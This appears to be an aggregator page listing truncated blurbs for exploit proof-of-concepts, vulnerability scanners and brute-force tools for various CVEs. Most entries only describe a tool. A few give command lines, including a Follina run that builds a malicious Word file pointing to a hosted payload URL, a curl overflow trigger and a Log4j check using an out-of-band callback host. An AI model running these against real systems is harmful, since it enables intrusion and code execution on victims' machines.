TeamsNTLMLeak

Descripción Cuando un usuario navega a una pestaña "Website" que dirige a una página web especialmente diseñada, puede resultar en la exposición del hash NTLM mediante la activación de un esquema de URL de Office, reduciendo así el proceso a una ruta de un solo clic para la fuga. Si se intenta...

RTF-Cleaner

RTF-Cleaner Limpia RTF, intenta extraer URL de muestras RTF maliciosas usando CVE-2017-0199 y CVE-2017-8759...

CVE-2015-57115

CVE-2015-57115 Comprobador Masivo Para CVE-2015-57115 Descripción El script verificador CVE-2015-57115 es una herramienta en Python para detectar vulnerabilidades relacionadas con CVE-2015-57115, que es una vulnerabilidad de traversal de rutas en ciertas aplicaciones PHP. El script comprueba...

CVE-2023-38545

Uso root@kitploit: git clone https://github.com/imfht/CVE-2023-38545 cd CVE-2023-38545/curl-7.74.0 && ./configure --with-openssl make -j 4 python3 socks.py & export ALLPROXY=socks5h://127.0.0.1:9050 ./curl-7.74.0/src/curl $python3 -c "print'A'10000, end=''" -vvvv Prueba para más detalles, consult...

EUVD-2026-86534

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'jfbxss' URL Query Variable Parameter via Calculated Field in all versions up to, and including, 3.6.5.3 due to insufficient input sanitization and output escaping. This makes...

CVE-2026-92212 JetFormBuilder <= 3.6.5.3 - Reflected Cross-Site Scripting via 'jfb_xss' (URL Query Variable) Parameter via Calculated Field

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'jfbxss' URL Query Variable Parameter via Calculated Field in all versions up to, and including, 3.6.5.3 due to insufficient input sanitization and output escaping. This makes...

exploit-CVE-2016-8016-25

McAfee Virus Scan para Linux: múltiples fallos remotos ESTE EXPLOIT Y TODO EL CÓDIGO EN ESTE REPOSITORIO FUERON ELIMINADOS PARA EVITAR CUALQUIER PROBLEMA RELACIONADO CON LA VIOLACIÓN DE CUALQUIER LICENCIA DE MCAFEE McAfee VirusScan Enterprise para Linux es una solución antivirus empresarial de...

CVE-2018-25031

CVE-2018-25031 Descripción: Swagger UI anterior a 4.1.3 podría permitir que un atacante remoto realice ataques de suplantación de identidad. Al persuadir a una víctima para que abra una URL manipulada, un atacante podría explotar esta vulnerabilidad para mostrar definiciones OpenAPI remotas...

CVE-2023-49438

CVE-2023-49438 Prueba de concepto Descripción Una vulnerabilidad de redirección abierta en el paquete de Python Flask-Security-Too =versión 5.3.2 permite a los atacantes redirigir a usuarios desprevenidos a sitios maliciosos mediante una URL manipulada, abusando del parámetro ?next en las rutas...

csp-log4j

csp-log4j Encuentra URLs de informes CSP y comprueba si son vulnerables a log4j Instalación root@kitploit: go install github.com/randomrobbiebf/csp-log4j/ Ejecución root@kitploit: csp-log4j -input file.txt -collab something.oastify.com...

CVE-2020-7799

cve-2020-7799 Batch detection of cve-2020-7799 Add a text.txt file in the same directory The URL format in the file is as follows: www.baidu.com 132.231.132.132 133.12.122.13:8080 Run with python3 cve-2020-7799.py Note: It is prohibited to use all resources of this project for illegal testing!...

rustbuster

rustbuster A Comprehensive Web Fuzzer and Content Discovery Tool Introduction Check the blog post: Introducing Rustbuster — A Comprehensive Web Fuzzer and Content Discovery Tool Download You can download prebuilt binaries from here. Installation root@kitploit: installrustbuster echo "Installing...

BruteConda

如果这对你有帮助，或许你可以通过赞助我来帮助我，这将有助于我创建更好的“开源工具” BruteConda 一款让你的工作更轻松的目录暴力破解工具！ 为什么选择 BruteConda？ 快速高效 易于使用 用户友好 要求： 需要安装 Python3 需要在 Python3 中安装以下模块：Requests、Time、Colorama、sys、argparse、os.path 使用方法： 1. git clone https://github.com/AkDevilHunter/BruteConda.git 2. cd BruteConda 3. python3 bruteconda.py...

CVE-2020-24186-exploit

CVE-2020-24186-exploit Script de explotación para CVE-2020-24186 Cómo usar el exploit: Comandos: Windows/Linux: python3 CVE-2020-24186.py -u -p Ejemplo: python3 CVE-2020-24186.py -u http://127.0.0.1 -p /wordpress/2022/04/04/hello-world...

CVE-2017-5638_struts

Amplié el script de Scott Campbell aún más, lo hice más complicado : Mientras que "HTTPStrutsAttack" detendrá el 100% del reconocimiento, todavía existía una probabilidad minúscula de que si un escáner alcanza un sistema vulnerable, aunque bloqueemos al escáner, el sistema vulnerable podría aún a...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Prueba de concepto por Nee Uso root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Qué hace Crea un archivo de Word malicioso que apunta a la URL del payload que especifiques Aloja el payload predeterminado ubicado en la carpeta web La...

CVE-2022-41040

CVE-2022-41040 Conjunto de código relacionado con CVE-2022-41040. scanner.py es un escáner basado en Python para probar la CVE-2022-41040. Requisitos Los únicos módulos adicionales necesarios para ejecutar este código son requests y colorama. root@kitploit: pip install -r requirements.txt Uso Est...

log4jcheck

Comprobador de Log4j CVE-2021-44228 Comprueba de forma multihilo una lista de URLs con peticiones POST y GET en combinación con parámetros. Muy inspirado en la versión de NortwaveSecurity. Configuración URLs a comprobar La lista de URLs a comprobar debe tener el siguiente formato csv:...

CVE-2023-36845

Automatización para Juniper CVE:2023-36845 por Asbawy - Modificado por Ak1t4 Resumen Es un script bash diseñado para comprobar la vulnerabilidad CVE-2023-36845. Este script procesa una lista de direcciones URL de Juniper, envía una solicitud a cada una y determina si el sistema es vulnerable segú...

CVE-2022-41828

CVE-2022-41828 Controlador JDBC de Amazon AWS Redshift - Ejecución remota de código RCE El controlador JDBC de Amazon para Redshift es un controlador JDBC tipo 4 que proporciona conectividad a bases de datos a través de las interfaces de programación de aplicaciones API JDBC estándar disponibles ...